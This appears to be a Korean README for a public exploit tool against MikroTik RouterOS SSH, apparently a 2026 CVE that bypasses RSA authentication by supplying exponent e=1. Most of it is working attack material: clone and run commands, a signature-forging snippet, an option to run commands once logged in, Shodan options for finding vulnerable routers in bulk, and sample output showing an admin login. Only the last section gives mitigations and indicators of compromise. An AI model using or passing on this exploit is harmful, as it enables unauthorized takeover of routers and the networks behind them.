표준 RSA 검증:  sig^65537 mod n == 기대값  (개인 키 필요)
악용된 검증:     sig^1 mod n == sig           (개인 키 불필요!)

sig^1 mod n == sig

# 저장소 복제
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# 의존성 설치
pip install paramiko cryptography

# 기본 익스플로잇 - 키 자동 생성, 버전 감지
python3 full_exploit.py --host 192.168.88.1 --username admin

# 인증 후 명령 실행
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# 사용자 지정 포트
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# 피해자의 공개 키 파일이 있는 경우
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# 또는 모듈러스를 직접 제공
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# MikroTik이 아니거나 알 수 없는 버전에서도 강제 실행
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              대상 RouterOS IP/호스트명 (필수)
--port              SSH 포트 (기본값: 22)
--username          대상 RouterOS 사용자 이름 (필수)
--pubkey            RSA 공개 키 파일 (제공되지 않으면 자동 생성)
--modulus-hex       RSA 모듈러스 16진수 (--pubkey의 대안)
--algos             서명 알고리즘 (기본값: ssh-rsa,rsa-sha2-256)
--exec              인증 후 실행할 명령
--exp-enc           지수 인코딩: canonical (1바이트) 또는 aligned (3바이트)
--timeout           연결 시간 초과 (기본값: 15.0초)
--skip-version-check    RouterOS 버전 검증 건너뛰기
--shodan-dorks      Shodan 검색 쿼리 출력
--shodan-search     대상 검색을 위한 Shodan API 검색
--shodan-key        Shodan API 키
--shodan-query      사용자 지정 Shodan 쿼리
--shodan-limit      Shodan 결과 제한 (기본값: 100)

python3 full_exploit.py --shodan-dorks

# 기본 검색
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# 사용자 지정 쿼리
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e (공개 지수)  <- 공격자가 e=1 제공
mpint     n (모듈러스)          <- 피해자의 실제 모듈러스

# "서명"은 단순히 EMSA-PKCS1-v1_5로 인코딩된 인증 데이터입니다
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # e=1일 때 이것이 유효한 서명입니다

[*] CVE-2026-67276 MikroTrick 익스플로잇
[*] 대상: 192.168.88.1:22

[*] RouterOS 버전 감지 중...
[*] SSH 배너: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS 버전: 7.23.3
[+] 취약한 버전 - CVE-2026-67276 적용됨

[*] 2048비트 RSA 키 쌍 생성 중...
[+] 개인 키 저장됨: /path/to/exploit_key
[+] 공개 키 저장됨:  /path/to/exploit_key.pub
[*] 모듈러스: 2048비트 | 위조된 e=1
[*] 지수 인코딩: canonical (01)

[*] rsa-sha2-256 시도 중 ...
[+] 'admin'으로 rsa-sha2-256을 통해 인증됨
[+] CVE-2026-67276 확인됨 - 대상이 취약함
--- 명령 출력 ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# 현재 버전 확인
/system resource print

# 패치 버전으로 업그레이드
/system package update download
/system reboot

/ip service disable ssh

# IP 주소로 제한
/ip service set ssh address=192.168.88.0/24

# 방화벽 규칙
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# 의심스러운 사용자 확인
/user print

# "ops" 사용자 확인 (알려진 공격자 지표)
/user print where name=ops

# 장치 플래그 상태 확인
/system/device-mode/print

# 로그 확인
/log print where topics~"ssh"